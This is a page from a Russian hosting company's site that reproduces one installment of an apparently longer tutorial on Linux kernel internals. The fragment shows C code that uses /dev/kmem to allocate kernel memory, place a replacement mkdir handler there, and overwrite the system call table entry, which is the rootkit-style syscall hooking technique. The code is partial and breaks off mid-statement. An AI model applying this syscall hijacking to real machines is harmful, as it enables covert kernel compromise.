Разработка динамических сайтов
SEO услуги
Управление контекстной рекламой

Вход на хостинг

Имя пользователя:*

Пароль пользователя:*

IT-новости

20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла

Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......

подробнее

30.07.2015 Ищем уникальный контент для сайта

Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......

подробнее

11.05.2015 Распространённые ошибки разработчиков сайтов

Не секрет, что в сети Интернет насчитывается миллионы сайтов, и каждый день появляются тысячси новых......

подробнее

kmalloc.flags = 0x1f0; – спецификатор GFP

А теперь обращаемся к системному вызову sys_mkdir, запустив тем самым на выполнение функцию get_kmalloc:

mkdir((char *)&kmalloc,0);

В результате в пространстве ядра будет выделен блок памяти, указатель на который будет записан в поле mem структуры struct kma_struc. В этом блоке памяти мы разместим функцию new_mkdir, которая будет обслуживать все обращения к системному вызову sys_mkdir.

Восстанавливаем системный вызов sys_mkdir:

 if (!wkm(kmem, sys_mkdir_addr, tmp, get_kmalloc_size)) {

      printf("Can't restore syscall %d ! ",_SYS_MKDIR_);

                return 1;

        }

Проверяем значение указателя на блок выделенной памяти. Он должен располагаться выше нижней границы адресного пространства ядра:

if (kmalloc.mem < page_offset) {

         printf("Allocated memory is too low (%08x < %08x) ",

                        kmalloc.mem, page_offset);

                return 1;

        }

Отображаем результаты:

printf(

                "sys_mkdir_addr : 0x%08x "

                "get_kmalloc_size : 0x%08x (%d bytes) "

                "our kmem region : 0x%08x "

                "size of our kmem : 0x%08x (%d bytes) ",

                sys_mkdir_addr,

                get_kmalloc_size, get_kmalloc_size,

                kmalloc.mem,

                kmalloc.size, kmalloc.size);

Размещаем в пространстве ядра функцию new_mkdir:

if(!wkm(kmem, kmalloc.mem, (void *)new_mkdir_addr, ї new_mkdir_size)) {

           printf("Unable to locate new system call ! ");

           return 1;

    }

и в таблице системных вызовов заменяем адрес функции sys_mkdir адресом new_mkdir:

if(!wkml(kmem, sct+(_SYS_MKDIR_*4), kmalloc.mem)) {

           printf("Eh ...");


Предыдущая страницаОглавлениеСледующая страница
 
[001] [002] [003] [004] [005] [006] [007] [008] [009] [010] [011] [012] [013] [014] [015] [016] [017] [018] [019] [020]
[021] [022] [023] [024] [025] [026] [027] [028] [029] [030] [031] [032] [033] [034] [035] [036] [037] [038] [039] [040]
[041] [042] [043] [044] [045] [046] [047] [048] [049] [050] [051] [052] [053] [054] [055] [056] [057] [058] [059] [060]
[061] [062] [063] [064] [065] [066] [067] [068] [069] [070] [071] [072] [073] [074] [075] [076] [077] [078] [079] [080]
[081] [082] [083] [084] [085] [086] [087] [088] [089] [090] [091] [092] [093] [094] [095] [096] [097] [098] [099] [100]
[101] [102] [103] [104] [105] [106] [107] [108] [109] [110] [111] [112] [113] [114] [115] [116] [117] [118] [119] [120]
[121] [122] [123] [124] [125] [126] [127] [128] [129] [130] [131] [132] [133] [134] [135] [136] [137] [138] [139] [140]
[141] [142] [143] [144] [145] [146] [147] [148] [149] [150]

+7 (831) 413-63-27
ООО Дельта-Технология ©2007 - 2023 год
Нижний Новгород, ул. Дальняя, 17А.
Rambler's Top100